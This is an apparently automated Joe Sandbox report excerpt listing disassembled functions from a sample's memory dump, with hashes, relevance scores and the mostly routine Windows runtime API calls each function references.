String ID: kxR
API String ID: 1272433827-2472672925
Opcode ID: 83f01aadcb1f1978c0b51d5119463a12daeb6a04f312fd5a1afe08b48b9991dc
Instruction ID: 0d8044e05f9b0cb8167809e65e25ff7bf000732fb61b3c2a507d18f0e94e9234
Opcode Fuzzy Hash: 83f01aadcb1f1978c0b51d5119463a12daeb6a04f312fd5a1afe08b48b9991dc
Instruction Fuzzy Hash: 3CF0AF76A50204DFD700DFA8E842B9D77B1FB84724F10811AF410972E1CBBA8940CB40

Function 009DFEF0 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction ID: fbb18ac66c6244c9cf970d7ac6ad5d53c00bc2dbedb9db7c4a01d0549c4321f6
Opcode Fuzzy Hash: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction Fuzzy Hash: 7BF15E71E002199FDF15CFA9D8806AEB7F5FF88324F158269E919AB381D770AD41CB90

Function 009DCAF2 Relevance: 2.8, Strings: 2, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

kxR, xrefs: 009DCAFA
0, xrefs: 009DCC80

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID:
String ID: 0$kxR
API String ID: 0-4190031525
Opcode ID: 9a1300ebb12c4541561a1462c464c066a2dc6d5ffd938d008e076fab5b04c352
Instruction ID: 35256753443dcb382826f0d851a95d7481d344a1b1691f771122c1e7a9c296c7
Opcode Fuzzy Hash: 9a1300ebb12c4541561a1462c464c066a2dc6d5ffd938d008e076fab5b04c352
Instruction Fuzzy Hash: 12C1D1F05846078FCB28CF68C48167ABBBAAF45314F14CA1BD5969B391C734EC45CB91

Function 009E572C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,009E5727,?,?,00000008,?,?,009F15F5,00000000), ref: 009E5959

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 0162281af3697c9cc3881dab034f639630022b71a66b163c7e108569f9aae404
Instruction ID: 33b4d29a4b28955fd7b69658cef3c77eee96bb5ce8c80e039aa85bcb2598de11
Opcode Fuzzy Hash: 0162281af3697c9cc3881dab034f639630022b71a66b163c7e108569f9aae404
Instruction Fuzzy Hash: FFB13F31610A44DFD716CF29C486BA57BE0FF45368F668658E899CF2A2C335ED91CB40

Function 009D729C Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 009D72B2

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: f91b126ca3ce6424807974cd78bba230600c203813c2c133731e503510a246ff
Instruction ID: d507d6e74c7c988c7b1c9af32e517b83a9c5ec5ed69b33de70eeaaf0e66f10bf
Opcode Fuzzy Hash: f91b126ca3ce6424807974cd78bba230600c203813c2c133731e503510a246ff
Instruction Fuzzy Hash: A7A18FB592A6058FDB18CFA4E8827A9FBF5FB48314F28812AD419EB360D734D841DF51

Function 009EBB36 Relevance: 1.6, Strings: 1, Instructions: 327COMMON

Download Yara Rule

Strings

kxR, xrefs: 009EBB41, 009EBE21

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID: kxR
API String ID: 3471368781-2472672925
Opcode ID: 711487b8ed51150b87ebdf01226da0cead54ee214f91c2d79075ba1196a00932
Instruction ID: 4173b54fb2cb122bf29665615d7ede736528e8faf4105d52f74273c54ccd8927
Opcode Fuzzy Hash: 711487b8ed51150b87ebdf01226da0cead54ee214f91c2d79075ba1196a00932
Instruction Fuzzy Hash: 52B1F8755007858BDB399B26CC92BB7B3ACEF54308F14492DEA87C6680EB75AD81CB50

Function 009EC372 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009E4EB1: GetLastError.KERNEL32(?,00000008,009E9482), ref: 009E4EB5
Part of subcall function 009E4EB1: SetLastError.KERNEL32(00000000,009FC480,00000024,009E0419), ref: 009E4F57

EnumSystemLocalesW.KERNEL32(009EC498,00000001,00000000,?,-00000050,?,009ECAC9,00000000,?,?,?,00000055,?), ref: 009EC3E4

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d9460dd27c249a10d723be888b497feb9fc8e0a57b0d7949cc20266fc23523ed
Instruction ID: 5555dd6b9b92e9c2ce20172db635525067b304814562393e55a3006a5caca42f
Opcode Fuzzy Hash: d9460dd27c249a10d723be888b497feb9fc8e0a57b0d7949cc20266fc23523ed
Instruction Fuzzy Hash: A91129772003015FDB189F3AC8A167ABBA1FF80368B14842CE98747A40E3717D43C740

Function 009EC91A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 009E4EB1: GetLastError.KERNEL32(?,00000008,009E9482), ref: 009E4EB5
Part of subcall function 009E4EB1: SetLastError.KERNEL32(00000000,009FC480,00000024,009E0419), ref: 009E4F57

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,009EC6B4,00000000,00000000,?), ref: 009EC946

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 7a25c72ec32b881139f77f8a23139cec0c52da4c4b2daa60d464de255d92e231
Instruction ID: 57a25eb430885fd96953ff65ba12e472f1105d41d79c35e0e4a83475e99cfe31
Opcode Fuzzy Hash: 7a25c72ec32b881139f77f8a23139cec0c52da4c4b2daa60d464de255d92e231
Instruction Fuzzy Hash: F6F0A473600151BBDB299A668805BBAB76CEB40754F154429ED86B3181EA74FE43C690

Function 009EC40D Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009E4EB1: GetLastError.KERNEL32(?,00000008,009E9482), ref: 009E4EB5
Part of subcall function 009E4EB1: SetLastError.KERNEL32(00000000,009FC480,00000024,009E0419), ref: 009E4F57

EnumSystemLocalesW.KERNEL32(009EC6EB,00000001,?,?,-00000050,?,009ECA8D,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 009EC457

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 590eabadabb3af09e634c8d24f981f18f05c846dd155349ac31b1e33b8c458de
Instruction ID: f45290443fba828e6a1b5f1dc7f6220d144ed8d84457dfb20ec1d131e82b96ec
Opcode Fuzzy Hash: 590eabadabb3af09e634c8d24f981f18f05c846dd155349ac31b1e33b8c458de
Instruction Fuzzy Hash: 63F022722003446FCB255F3ADC91A7A7B94FB80B68F04802DF9868B6A0D671AD02C600

Function 009EC327 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009E4EB1: GetLastError.KERNEL32(?,00000008,009E9482), ref: 009E4EB5
Part of subcall function 009E4EB1: SetLastError.KERNEL32(00000000,009FC480,00000024,009E0419), ref: 009E4F57

EnumSystemLocalesW.KERNEL32(009EC280,00000001,?,?,?,009ECAEB,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 009EC35E

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: e4026fa4094e4a653ed5897c3c8b8b87fc5210e5ccae6ecb863ac2c1b0949f78
Instruction ID: 4402c367deb78d741a29c513fdbce94379904f791c6a279849d9a8e323cc5ae9
Opcode Fuzzy Hash: e4026fa4094e4a653ed5897c3c8b8b87fc5210e5ccae6ecb863ac2c1b0949f78
Instruction Fuzzy Hash: F5F0553630024567CB169F3ACC05A6ABF94EFC1B60B0A8059EA098B280C6319C43C790

Function 009E622B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,009E23AE,?,20001004,00000000,00000002,?,?,009E19B0), ref: 009E625F

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d3503ba4fba6624ffa13eafbebf7c64f9ac3ac37ce9444c26a09223675b492cf
Instruction ID: 5306d91457da50b02a9be0f96b54924f1c03a4c3a2ede95d5963804e562c9147
Opcode Fuzzy Hash: d3503ba4fba6624ffa13eafbebf7c64f9ac3ac37ce9444c26a09223675b492cf
Instruction Fuzzy Hash: 63E04831504158B7CF132F62DC04BAE7F29EF44750F048015FD1565221CB75CD20AA91

Function 009D7AAF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007ABB,009D6DC9), ref: 009D7AB4

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: d5295ebf0af00ec0d324b57532875eefbf124d4b8f7a4284c8018275873c91a6
Instruction ID: f09ea7b7a774130ba426223ad6395783a0611eebe8c6eb0d5c44cec3aa53e4f0
Opcode Fuzzy Hash: d5295ebf0af00ec0d324b57532875eefbf124d4b8f7a4284c8018275873c91a6
Instruction Fuzzy Hash:

Function 009D1D79 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 009D1E9B

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: 1c781852fce3a2793c5840eea7c410b0d0d5b5918461c59acc17c0cb2f7084df
Instruction ID: dfdaee4fce5e2696edf8e051bafa52360014eb4c144b5f8562b24b2b1c39f5f7
Opcode Fuzzy Hash: 1c781852fce3a2793c5840eea7c410b0d0d5b5918461c59acc17c0cb2f7084df
Instruction Fuzzy Hash: 00411B77E6052B5BCB0CEEB8C8561AFBB69E756350B04827BDD11DB3D1E2348A01CAD0

Function 009EA64C Relevance: 1.3, Strings: 1, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Strings

kxR, xrefs: 009EA666, 009EA669

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID:
String ID: kxR
API String ID: 0-2472672925
Opcode ID: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction ID: 9348b55c3ddb3f0a687cfaa5eca13c6cc719e001a4ba65391cb1728cfc5f84a7
Opcode Fuzzy Hash: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction Fuzzy Hash: 10E08C329212B8EBCB16DB9AC904A8AF3FCEB86F54B150496B501D3220C270EE00C7D0

Function 009ECC4B Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 009ECC4B

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 4fdfc2236dbc4a53342f54a6a4dfbd5136e63239f91fcc85dd5eeb3fe3dc62d5
Instruction ID: 4ff47df2fe40666993f3ebdc811727e4c048675450ba37570cc1e0acd2567e1a
Opcode Fuzzy Hash: 4fdfc2236dbc4a53342f54a6a4dfbd5136e63239f91fcc85dd5eeb3fe3dc62d5
Instruction Fuzzy Hash: 14A012342181008B4300CF355D0521836985641180704C0149004C4030E724C541AF40

Function 00A16628 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 009D2003 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54c7bec3b3623200d6d3005ef39d4ed9ab4ab6cefd030719e161321af56770cd
Instruction ID: a05faf91b3a300973c299e5cd320a40fb34ab0846603eeb77b0a830df6e4f2f2
Opcode Fuzzy Hash: 54c7bec3b3623200d6d3005ef39d4ed9ab4ab6cefd030719e161321af56770cd
Instruction Fuzzy Hash: ACD0923E6119109FC210CF09E480941F7B4FB996307164056E90493720C334FC42CAE0

Function 009E0F2E Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction ID: b5853ac8bad460a80870e563758c02dd0c298a075cd49738cf7cba0a91afb76e
Opcode Fuzzy Hash: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction Fuzzy Hash: 15C08C3400098086CE3B891282713A43359B3E3B82F8409CCDC5A0B752C55EACC2DA01

Function 009DA5C8 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 009DA6E7
___TypeMatch.LIBVCRUNTIME ref: 009DA7F5
CallUnexpected.LIBVCRUNTIME ref: 009DA962

Strings

csm, xrefs: 009DA605
csm, xrefs: 009DA672
csm, xrefs: 009DA71E

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: d7c33504af1b335215788ecb557800590d79b5b5bc25f6b9aadbc4833ab24317
Instruction ID: 55377ca383247a9852937a4f303cf36f8b17a87e2cfc412f243605bb3644c7c4
Opcode Fuzzy Hash: d7c33504af1b335215788ecb557800590d79b5b5bc25f6b9aadbc4833ab24317
Instruction Fuzzy Hash: AAB18931C80209EFCF14DFA4C981AAEBBB9BF54310B14C55BE8116B312D771DA61DB92

